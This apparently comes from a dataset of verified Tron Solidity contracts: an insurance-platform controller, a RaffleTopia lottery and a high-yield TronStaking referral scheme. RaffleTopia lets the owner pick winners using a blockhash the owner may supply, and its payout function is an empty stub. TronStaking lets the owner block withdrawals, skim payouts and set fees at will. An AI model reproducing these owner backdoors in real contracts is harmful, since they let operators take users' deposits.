UtilityController utility = _utilityControllerOfProject(pid);
return utility.cancelProjectCovarage(pid);
}
function policyMaintenance(uint256 startFrom, uint256 numberOfProjects) external nonReentrant {
return utilityController.managePolicies(startFrom, numberOfProjects);
}
function voteMaintenance(uint256 startFrom, uint256 endBefore) external {
return utilityController.voteMaintenance(startFrom, endBefore);
}
///////////////////////////////////////////////////
// State & Contracts
//////////////////////////////////////////////////
function updateControllerState() public onlyModerators {
projectController = ProjectController(masterStorage.getProjectController());
refundController = RefundController(masterStorage.getRefundController());
disputeController = DisputeController(masterStorage.getDisputeController());
utilityController = UtilityController(masterStorage.getUtilityController());
controllersHash = masterStorage.getCurrentControllersHash();
}
function transferAidToRefundPool() public onlyModerators {
address(refundPool).transfer(address(this).balance);
}
function changeModerationResourcesAddress(address payable newModRsrcAddr)
public
onlyModerators
{
masterStorage.setModerationResources(newModRsrcAddr);
}
function upgradeEventLogger(address newLogger) public onlyModerators {
masterStorage.setEventLogger(newLogger);
}
function upgradeMain(address payable newMainContract) public onlyModerators {
masterStorage.setMainContract(newMainContract);
}
function upgradeUtilityController(address payable newUtilityController)
public
onlyModerators
{
masterStorage.setUtilityController(newUtilityController);
emit ControllerUpgrade(newUtilityController);
}
function upgradeDisputeController(address payable newDisputeController)
public
onlyModerators
{
masterStorage.setDisputeController(newDisputeController);
emit ControllerUpgrade(newDisputeController);
}
function upgradeRefundController(address payable newRefundController)
public
onlyModerators
{
masterStorage.setRefundController(newRefundController);
emit ControllerUpgrade(newRefundController);
}
function upgradeProjectController(address payable newProjectController)
public
onlyModerators
{
masterStorage.setProjectController(newProjectController);
emit ControllerUpgrade(newProjectController);
}
function addNetworkContract(address payable newNetworkContract)
public
onlyModerators
{
masterStorage.addNewContract(newNetworkContract);
}
function setPlatformModerator(address newMod) public onlyModerators {
masterStorage.setPlatformModerator(newMod);
}
function setMinInvestorContribution(uint256 newMinInvestorContr) public onlyModerators {
masterStorage.setMinInvestorContribution(newMinInvestorContr);
}
function setMaxInvestorContribution(uint256 newMaxInvestorContr) public onlyModerators {
masterStorage.setMaxInvestorContribution(newMaxInvestorContr);
}
function setMinProtectionPercentage(uint256 newPercentage) public onlyModerators {
masterStorage.setMinProtectionPercentage(newPercentage);
}
function setMaxProtectionPercentage(uint256 newPercentage) public onlyModerators
{
masterStorage.setMaxProtectionPercentage(newPercentage);
}
function setMinOwnerContribution(uint256 newMinOwnContrib) public onlyModerators {
masterStorage.setMinOwnerContribution(newMinOwnContrib);
}
function setDefaultBasePolicy(uint256 newBasePolicy) public onlyModerators {
masterStorage.setDefaultBasePolicyDuration(newBasePolicy);
}
function setDefaultPolicy(uint256 newPolicy) public onlyModerators {
masterStorage.setDefaultPolicyDuration(newPolicy);
}
function setRegularContributionPercentage(uint256 newPercentage) public onlyModerators {
masterStorage.setRegularContributionPercentage(newPercentage);
}
function cleanIfNoProjects() public onlyModerators {
pool.cleanIfNoProjects();
}
function _projectControllerOfProject(uint256 pid)
internal
view
returns (ProjectController)
{
return ProjectController(secondStorage.getProjectControllerOfProject(pid));
}
function _refundControllerOfProject(uint256 pid)
internal
view
returns (RefundController)
{
return RefundController(secondStorage.getRefundControllerOfProject(pid));
}
function _disputeControllerOfProject(uint256 pid)
internal
view
returns (DisputeController)
{
return DisputeController(secondStorage.getDisputeControllerOfProject(pid));
}
function _disputeControllerOfDispute(uint256 did)
internal
view
returns (DisputeController)
{
return DisputeController(masterStorage.getDisputeControllerOfProject(did));
}
function _utilityControllerOfProject(uint256 pid)
internal
view
returns (UtilityController)
{
return UtilityController(secondStorage.getUtilityControllerOfProject(pid));
}
function _refundControllerOfInsurance(uint256 ins)
internal
view
returns (RefundController) {
bytes32 insCtrlState = masterStorage.getInsuranceControllerState(ins);
if (controllersHash != insCtrlState) {
return RefundController(masterStorage.oldRefundCtrl(insCtrlState));
} else {
return refundController;
}
}
function _utilityControllerOfInsurance(uint256 ins)
internal
view
returns (UtilityController) {
bytes32 insCtrlState = masterStorage.getInsuranceControllerState(ins);
if (controllersHash != insCtrlState) {
return UtilityController(masterStorage.oldUtilityCtrl(insCtrlState));
} else {
return utilityController;
}
}
function _isContract(address sender) internal view returns (bool) {
uint codeSize;
assembly {
codeSize := extcodesize(sender)
}
return(codeSize != 0);
}
}
| 196,099 | 320 |
bc98766f677bc333dffe12eaee46ae310f354ac896520df9ea13da75b01daaa1
| 25,671 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJbcY9jkhrp31QgWtfNW6XpCmrtnjTCbg9_RaffleTopia.sol
| 5,245 | 19,316 |
//SourceUnit: topiaRaffle.sol
pragma solidity ^0.4.25;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Owner Handler
contract ownerShip // Auction Contract Owner and OwherShip change
{
//Global storage declaration
address public owner;
address public newOwner;
bool public safeGuard ; // To hault all non owner functions in case of imergency
//Event defined for ownership transfered
event OwnershipTransferredEv(address indexed previousOwner, address indexed newOwner);
//Sets owner only on first run
constructor() public
{
//Set contract owner
owner = msg.sender;
// Disabled global hault on first deploy
safeGuard = false;
}
//This will restrict function only for owner where attached
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner
{
newOwner = _newOwner;
}
function acceptOwnership() public
{
require(msg.sender == newOwner);
emit OwnershipTransferredEv(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function changesafeGuardStatus() onlyOwner public
{
if (safeGuard == false)
{
safeGuard = true;
}
else
{
safeGuard = false;
}
}
}
//
//------------------- REFERRAL CONTRACT INTERFACE --------------------//
//
interface InterfaceREFERRAL {
function referrers(address user) external returns(address);
function updateReferrer(address _user, address _referrer) external returns(bool);
function payReferrerBonusOnly(address _user, uint256 _refBonus, uint256 _trxAmount) external returns(bool);
}
//
//--------------------- TRONTOPIA CONTRACT INTERFACE ---------------------//
//
interface interfaceTOKEN
{
function transfer(address recipient, uint amount) external returns(bool);
function mintToken(address _user, uint256 _tronAmount) external returns(bool);
}
//
//--------------------- VOUCHERS CONTRACT INTERFACE ---------------------//
//
interface InterfaceVOUCHERS
{
function mintVouchers(address _user, uint256 _mainBetSUN, uint256 _siteBetSUN) external returns(bool);
}
//
//--------------------- DIAMOND CONTRACT INTERFACE ----------------------//
//
interface InterfaceDIAMOND
{
function usersDiamondFrozen(address _user) external view returns(uint256);
}
contract RaffleTopia is ownerShip
{
using SafeMath for uint256;
uint256 public totalTicketSaleValueOfAllRaffleSession; // Total deposited trx after ticket sale of all session
uint256 public totalTicketSaleValueOfCurrentRaffleSession; // Trx which admin should not withdraw.
//uint256 public totalAvailableTrxBalance; // Total available trx balance of this contract
uint256 public totalTRXRakeComission; //Total collected comission.
uint256 public totalAdminComission; //total admin comission
uint256 public withdrawnByAdmin; //Total withdrawn TRX by admin
uint256 public voucherRakePercent = 2500; // 2500 = 25.00%
uint256 public diamondRakePercent = 2500; // 2500 = 25.00%
uint256 public topiaRakePercent = 2500; // 2500 = 25.00%
uint256 public vaultRakePercent = 2500; // 2500 = 25.00%
uint256 public voucherRakeBalance; // withdrawable part for voucher rake
uint256 public diamondRakeBalance; // withdrawable part for diamond rake
uint256 public topiaRakeBalance; // withdrawable part for div rake
uint256 public vaultRakeBalance; // withdrawable part for vault rake
address public topiaTokenContractAddress;
address public dividendContractAddress;
address public voucherContractAddress;
address public voucherDividendContractAddress;
address public vaultContractAddress;
address public diamondContractAddress;
address public diamondVoucherContractAddress;
address public refPoolContractAddress;
struct RaffleMode // struct for keeping different rake percent with rake name
{
uint256 rakePercent; // % deduction for this rake will be forwarded to contract address
uint256 adminPercent; // % deduction for this rake for admin comission
uint256 entryPeriod; // Raffle session will end after this seconds
uint256 startTicketNo; // Starting number of the ticket, next all ticket will be next no up to max ticket count reached
uint256 maxTicketCount; // maximum ticket (count) open to sale for current session
uint256 ticketPrice; //Price of each ticket, user must paid to buy
bool active; // if false can not be used
}
RaffleMode[] public RaffleModes;
struct RaffleInfo
{
uint256 totalTrxCollected; // Total TRX on Raffle for the given ID
uint256 lastSoldTicketNo; // Last ticket no which sold
uint256 startTime;
uint256 winningNo; // the ticket no which declared as winner
uint256 houseComission; // comission paid to house for this RaffleID till claim reward it is used for loop control
uint256 adminComission; // comission paid to house for this RaffleID
uint256 winningAmount; // winningAmount of winner after comission
uint256 raffleMode; // rake percent info for this RaffleID
bool winnerDeclared; // winner declared or not if not then false
uint256 thisBlockNo; // current block number will be used later in selectWinner to predict winner ticket no
}
RaffleInfo[] public RaffleInfos; //Its index is the RaffleID
// first uint256 is raffleID and 2nd is ticket no and stored address is ticket owner
mapping (uint256 => mapping(uint256 => address)) public ticketOwner;
// Trx blance of user's (winning amount etc) which he can withdraw when he wants
mapping(address => uint256) public userBalance;
function () payable external {
revert();
}
//Sets owner only on first run
constructor() public
{
//Set default rake category rake category no 0
RaffleMode memory temp;
temp.rakePercent = 400; // 4% comission to contract address
temp.adminPercent = 100; // 1% comission to admin
temp.ticketPrice = 100; // Trx required to buy one ticket
temp.entryPeriod = 86400; // 180 second 3 minute of betting time
temp.startTicketNo = 9999; // default is 8 players for category RaffleModes[0]
temp.maxTicketCount = 99999999; //15 seconds of grace period to increase bet amount
temp.active = true ; // this rake is active gambler can use
RaffleModes.push(temp);
}
//Event for trx paid and withdraw (if any)
event ticketBoughtEv(address paidAmount, address user, uint ticketNo);
event trxWithdrawEv(address user, uint amount, uint remainingBalance);
function updateContractAddresses(address topiaContract, address voucherContract, address dividendContract, address vaultContract, address diamondContract,address diamondVoucherContract, address refPoolContract,address voucherDividendContract) public onlyOwner returns(string)
{
topiaTokenContractAddress = topiaContract;
voucherContractAddress = voucherContract;
voucherDividendContractAddress = voucherDividendContract;
dividendContractAddress = dividendContract;
vaultContractAddress = vaultContract;
diamondContractAddress = diamondContract;
diamondVoucherContractAddress = diamondVoucherContract;
refPoolContractAddress = refPoolContract;
return "Addresses updated successfully";
}
function updateRakeCategoryPercent(uint256 _voucherRakePercent, uint256 _diamondRakePercent, uint256 _topiaRakePercent, uint256 _vaultRakePercent) public onlyOwner returns(bool)
{
uint256 sumAll = _voucherRakePercent + _diamondRakePercent + _topiaRakePercent + _vaultRakePercent;
require(sumAll == 10000, "sum of all must be 10000 (100%)");
voucherRakePercent = _voucherRakePercent;
diamondRakePercent = _diamondRakePercent;
topiaRakePercent = _topiaRakePercent;
vaultRakePercent = _vaultRakePercent;
return true;
}
//Calculate percent and return result
function calculatePercentage(uint256 PercentOf, uint256 percentTo) internal pure returns (uint256)
{
uint256 factor = 10000;
require(percentTo <= factor);
uint256 c = PercentOf.mul(percentTo).div(factor);
return c;
}
event createRaffleModeEv(uint256 nowTime,uint256 _rakePercent,uint256 _entryPeriod,bool _active);
//To create different rake category
function createRaffleMode(uint256 _rakePercent,uint256 _adminPercent, uint256 _entryPeriod,uint256 _startTicketNo, uint256 _maxTicketCount,uint256 _ticketPrice, bool _active) public onlyOwner returns(bool)
{
RaffleMode memory temp;
temp.rakePercent = _rakePercent;
temp.adminPercent = _adminPercent;
temp.entryPeriod = _entryPeriod;
temp.startTicketNo = _startTicketNo;
temp.maxTicketCount = _maxTicketCount;
temp.ticketPrice = _ticketPrice;
temp.active = _active;
RaffleModes.push(temp);
emit createRaffleModeEv(now,_rakePercent,_entryPeriod,_active);
return true;
}
event changeRaffleModeEv(uint256 nowTime,uint256 RaffleModeID,uint256 _rakePercent,uint256 _entryPeriod,bool _active);
function changeRaffleMode(uint256 RaffleModeID, uint256 _rakePercent,uint256 _adminPercent, uint256 _entryPeriod,uint256 _startTicketNo, uint256 _maxTicketCount,uint256 _ticketPrice, bool _active) public onlyOwner returns(bool)
{
require(RaffleModeID < RaffleModes.length, "Invalid Raffle ID");
RaffleModes[RaffleModeID].rakePercent = _rakePercent;
RaffleModes[RaffleModeID].adminPercent = _adminPercent;
RaffleModes[RaffleModeID].entryPeriod = _entryPeriod;
RaffleModes[RaffleModeID].startTicketNo = _startTicketNo;
RaffleModes[RaffleModeID].maxTicketCount = _maxTicketCount;
RaffleModes[RaffleModeID].ticketPrice = _ticketPrice;
RaffleModes[RaffleModeID].active = _active;
emit changeRaffleModeEv(now,RaffleModeID,_rakePercent,_entryPeriod,_active);
return true;
}
function changeActiveRaffleMode(uint256 _RaffleModeID, bool _status) public onlyOwner returns (bool)
{
RaffleModes[_RaffleModeID].active = _status;
return true;
}
//To withdraw trx
function trxWithdraw(uint amount) public returns (bool)
{
require(!safeGuard,"System Paused by Admin");
address caller = msg.sender;
require(caller!= address(0),"Address(0) found, can't continue");
require(userBalance[caller] >= amount,"Insufficient fund to withdraw");
userBalance[caller] = userBalance[caller].sub(amount);
caller.transfer(amount);
emit trxWithdrawEv(caller, amount, userBalance[caller]);
return true;
}
function manualWithdrawTRX(uint256 Amount) public onlyOwner returns (bool){
require (totalAdminComission >= Amount);
address(owner).transfer(Amount);
withdrawnByAdmin = withdrawnByAdmin.add(Amount);
return true;
}
event buyRaffleTicketEv(uint256 timeNow, address buyer, uint256 lastTicketNo, uint256 noOfTicketBought, uint256 amountPaid);
function buyRaffleTicket(uint256 _noOfTicketToBuy, uint256 _RaffleModeID, address _referrer) public payable returns(bool)
{
require(!safeGuard,"System Paused by Admin");
require(_RaffleModeID < RaffleModes.length , "undefined raffle mode");
require(RaffleModes[_RaffleModeID].active = true,"this raffle mode is locked by admin");
address caller = msg.sender;
require(caller != address(0),"invalid caller address(0)");
uint256 ticketPrice = RaffleModes[_RaffleModeID].ticketPrice;
uint256 paidValue = msg.value;
require(paidValue >= _noOfTicketToBuy * ticketPrice, "Paid Amount is less than required");
totalTicketSaleValueOfAllRaffleSession += paidValue;
totalTicketSaleValueOfCurrentRaffleSession += paidValue;
uint256 raffleInfoID = RaffleInfos.length;
uint256 i;
if (raffleInfoID == 0 || RaffleInfos[raffleInfoID -1 ].winnerDeclared == true)
{
RaffleInfo temp;
temp.totalTrxCollected = paidValue;
i = RaffleModes[_RaffleModeID].startTicketNo;
temp.lastSoldTicketNo = RaffleModes[_RaffleModeID].startTicketNo + _noOfTicketToBuy - 1 ;
temp.startTime = now;
temp.raffleMode = _RaffleModeID;
temp.thisBlockNo = block.number;
RaffleInfos.push(temp);
}
else
{
raffleInfoID -= 1;
require(now <= RaffleInfos[raffleInfoID].startTime.add(RaffleModes[RaffleInfos[raffleInfoID].raffleMode].entryPeriod), "sorry period is over");
i = RaffleInfos[raffleInfoID].lastSoldTicketNo + 1;
RaffleInfos[raffleInfoID].totalTrxCollected += paidValue;
RaffleInfos[raffleInfoID].lastSoldTicketNo = i + _noOfTicketToBuy;
RaffleInfos[raffleInfoID].thisBlockNo = block.number;
}
uint256 range = i + _noOfTicketToBuy;
for (i; i< range; i++)
{
ticketOwner[raffleInfoID][i] = caller;
}
// If this is the user's first bet...
if (_referrer != address(0))
{
// Set their referral address
InterfaceREFERRAL(refPoolContractAddress).updateReferrer(caller, _referrer);
}
emit buyRaffleTicketEv(now, caller, RaffleInfos[raffleInfoID].lastSoldTicketNo, _noOfTicketToBuy, paidValue);
return true;
}
event WinnerNComisisonRewardedEv(uint256 nowTime,address WinnerAddress,uint256 comission,uint256 rewardAmount);
event selectWinnerEv(uint256 nowTime,uint256 winnerNo, uint256 RaffleID,uint256 blockNo, bytes32 blockHashValue);
function selectWinner(uint256 raffleInfoID, bytes32 blockHashValue) public onlyOwner returns(uint256)
{
require(RaffleInfos[raffleInfoID].winnerDeclared == false, "winner is already declared");
require(now > RaffleInfos[raffleInfoID].startTime.add(RaffleModes[RaffleInfos[raffleInfoID].raffleMode].entryPeriod), "entry period is not over");
uint256 lastBetBlockNo = RaffleInfos[raffleInfoID].thisBlockNo;
if(block.number < 255 + lastBetBlockNo)
{
blockHashValue = blockhash(lastBetBlockNo);
}
require(blockHashValue != 0x0, "invalid blockhash");
uint256 startTicketNo = RaffleModes[RaffleInfos[raffleInfoID].raffleMode].startTicketNo;
uint256 rangeFromZero = RaffleInfos[raffleInfoID].lastSoldTicketNo - startTicketNo;
uint256 winnerTicketNo = uint256(blockHashValue) % rangeFromZero + 1;
winnerTicketNo = winnerTicketNo + startTicketNo;
RaffleInfos[raffleInfoID].winningNo = winnerTicketNo;
RaffleInfos[raffleInfoID].winnerDeclared = true;
require(claimWinnerReward(raffleInfoID),"reward failed");
emit selectWinnerEv(now,winnerTicketNo, raffleInfoID , lastBetBlockNo, blockHashValue);
return winnerTicketNo;
}
function claimWinnerReward(uint256 raffleInfoID) public returns (bool)
{
return true;
}
function getAvailableVoucherRake() public view returns (uint256)
{
return voucherRakeBalance;
}
// payout request for voucher rake part , only called by specific contract
function requestVoucherRakePayment() public returns(bool)
{
require(msg.sender == voucherContractAddress, 'Unauthorised caller');
require(voucherRakeBalance > 0, "not enough voucher balaance");
uint256 rakeAmount = voucherRakeBalance;
voucherRakeBalance = 0;
totalTRXRakeComission = totalTRXRakeComission.sub(rakeAmount);
msg.sender.transfer(rakeAmount);
return true;
}
function getAvailableDiamondRake() public view returns(uint256)
{
return diamondRakeBalance;
}
// payout request for diamond rake part , only called by specific contract
function requestDiamondRakePayment() public returns(bool)
{
require(msg.sender == diamondContractAddress, 'Unauthorised caller');
require(diamondRakeBalance > 0, "not enough diamond balaance");
uint256 rakeAmount = diamondRakeBalance;
diamondRakeBalance = 0;
totalTRXRakeComission = totalTRXRakeComission.sub(rakeAmount);
msg.sender.transfer(rakeAmount);
return true;
}
function getAvailableDivRake() public view returns(uint256)
{
return topiaRakeBalance;
}
// payout request for topia rake part , only called by specific contract
function requestDivRakePayment(uint256 rakeAmount) public returns(bool)
{
require(msg.sender == topiaTokenContractAddress, 'Unauthorised caller');
require(rakeAmount <= topiaRakeBalance, "not enough voucher balaance");
topiaRakeBalance = topiaRakeBalance.sub(rakeAmount);
totalTRXRakeComission = totalTRXRakeComission.sub(rakeAmount);
msg.sender.transfer(rakeAmount);
return true;
}
function getAvailableVaultRake() public view returns(uint256)
{
return vaultRakeBalance;
}
// payout request for diamond rake part , only called by specific contract
function requestVaultRakePayment() public returns(bool)
{
require(msg.sender == vaultContractAddress, 'Unauthorised caller');
require(vaultRakeBalance > 0, "not enough diamond balaance");
uint256 rakeAmount = vaultRakeBalance;
vaultRakeBalance = 0;
totalTRXRakeComission = totalTRXRakeComission.sub(rakeAmount);
msg.sender.transfer(rakeAmount);
return true;
}
}
| 291,249 | 321 |
bfbad491a04831e2785b4d03253ceba4bd30fc737bb3c7ddc3108b168404d2f8
| 16,491 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLxbzm6DqP3kaKrB3mqGDbwLLaXSJgGQHn_TronStaking.sol
| 4,578 | 13,492 |
//SourceUnit: TronStaking.sol
pragma solidity 0.5.4;
contract TronStaking {
using SafeMath for uint256;
uint256 public INVEST_MIN_AMOUNT = 50 trx; // 50 trx
uint256 constant public BASE_PERCENT = 100; // 1% daily
uint256 public TEAM_LEVELS = 20; // 20 levels
uint256[] public REFERRAL_PERCENTS = [700];
uint256 public MARKETING_FEE = 1450;
uint256 public lucky_fee = 50;
uint256 public lucky_id = 0;
uint256 constant public PERCENTS_DIVIDER = 10000;
uint256 constant public CONTRACT_BALANCE_STEP = 100000 trx; // 100000 trx
uint256 constant public maxLimit = 30000000 trx; // 30000000 trx
uint256 constant public TIME_STEP = 1 days; // 1 days
uint256 public minLimit = 0;
uint256 public maxPercent = maxLimit.div(CONTRACT_BALANCE_STEP);
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address payable public owner;
address payable backup;
address payable public luckyOwner;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 refbonus;
uint256 teambiz;
uint256 id;
uint256 totalPaid;
uint256 lucky_bonus;
uint256 isBlock;
uint256 isTop;
uint256 topComm;
}
struct LuckyUser{
address userAddress;
uint256 value;
uint256 time;
}
struct UserAddress{
address userAddress;
address upline;
uint256 uplineID;
}
mapping (uint256 => LuckyUser) internal lucky_users;
mapping (uint256 => UserAddress) internal user_address_map;
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePaid(address indexed user, uint256 totalAmount, uint256 lucky);
constructor(address payable _ownerAddr, address payable _backupAddr , address payable _luckyOwner) public {
require(!isContract(_ownerAddr) && !isContract(_backupAddr));
owner = _ownerAddr;
backup = _backupAddr;
luckyOwner = _luckyOwner ;
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT);
owner.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
luckyOwner.transfer(msg.value.mul(lucky_fee).div(PERCENTS_DIVIDER));
emit FeePaid(msg.sender, msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER),msg.value.mul(lucky_fee).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 1; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
users[upline].refbonus = users[upline].refbonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
// update team biz
address up = user.referrer;
for (uint256 i = 0; i < TEAM_LEVELS - 1; i++) {
if (up != address(0)) {
users[up].teambiz = users[up].teambiz.add(msg.value);
up = users[up].referrer;
} else break;
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
user.id = totalUsers;
user_address_map[totalUsers].userAddress = msg.sender;
user_address_map[totalUsers].upline = user.referrer;
user_address_map[totalUsers].uplineID = getIndexByAddress(user.referrer);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
require(user.isBlock == 0, "User Inactive");
uint256 userPercentRate = getTotalRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no balance");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
if(minLimit > 0){
owner.transfer(totalAmount*minLimit/100);
}
totalWithdrawn = totalWithdrawn.add(totalAmount);
user.totalPaid = user.totalPaid.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getTotalRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractPlusBaseRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
if(contractBalancePercent >= maxPercent){
contractBalancePercent = maxPercent;
}
return BASE_PERCENT.add(contractBalancePercent);
}
function getTotalRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalRate = getContractPlusBaseRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP).mul(5);
if(timeMultiplier >= 100){
timeMultiplier = 100; // 1% max hold bonus for 20 days
}
return totalRate.add(timeMultiplier);
} else {
return totalRate;
}
}
function userInfo(address userAddress) view external returns(address upline,
uint256 checkpoint,
uint256 bonus_rem,
uint256 ref_bonus,
uint256 teambiz,
uint256 id ,
uint256 timenow) {
return (users[userAddress].referrer,
users[userAddress].checkpoint,
users[userAddress].bonus,
users[userAddress].refbonus,
users[userAddress].teambiz,
users[userAddress].id,
block.timestamp);
}
function getUserAvailableBalance(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserDetailsByIndex(uint256 _index) public view returns(address addr, address upline, uint256 uplineID) {
return (user_address_map[_index].userAddress,
user_address_map[_index].upline,
user_address_map[_index].uplineID);
}
function getAddressByIndex(uint256 _index) public view returns(address) {
return user_address_map[_index].userAddress;
}
function getIndexByAddress(address _addr) public view returns(uint256) {
return users[_addr].id;
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(2)) {
return true;
}
}
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserParticularDeposit(address userAddress, uint256 index) public view returns(uint256 amount, uint256 withdrawtime, uint256 starttime, uint256 cycle) {
User storage user = users[userAddress];
uint256 cycle1 = (user.deposits[index].start.sub(block.timestamp)).div(TIME_STEP);
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start, cycle1);
}
function getUserDepositCount(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
return user.totalPaid;
}
function adminChange(address payable _newAdmin, uint256 _newAdv) public {
require(msg.sender == owner || msg.sender == backup, "Not authorized");
owner = _newAdmin;
MARKETING_FEE = _newAdv.mul(100);
}
function luckyOwnerChange(address payable _luckyOwner) public {
require(msg.sender == owner || msg.sender == backup, "Not authorized");
luckyOwner = _luckyOwner;
}
function addLuckyBonus(address payable _addr, uint256 _val) public {
require(msg.sender == owner,"Cannot add lucky bonus");
User storage user = users[_addr];
user.lucky_bonus = user.lucky_bonus.add(_val*1000000);
user.totalPaid = user.totalPaid.add(_val*1000000);
lucky_id ++;
LuckyUser storage luck = lucky_users[lucky_id];
luck.userAddress = _addr;
luck.time = block.timestamp;
luck.value = _val*1000000;
}
function changeMinimumDeposit(uint256 _newValue) public {
require(msg.sender == owner, "Authorization failed");
INVEST_MIN_AMOUNT = _newValue*1000000;
}
function changeUserStatus(address _addr) public {
require(msg.sender == owner, "Authorization failed");
if(users[_addr].isBlock == 1){
users[_addr].isBlock = 0;
} else {
users[_addr].isBlock = 1;
}
}
function switchTop(address _addr, uint256 _comm) public {
require(msg.sender == owner, "Authorization failed");
if(users[_addr].isTop == 1){
users[_addr].isTop = 0;
users[_addr].topComm = 0;
} else {
users[_addr].isTop = 1;
users[_addr].topComm = _comm;
}
}
function getUserStatus(address _addr) public view returns (uint256) {
return users[_addr].isBlock ;
}
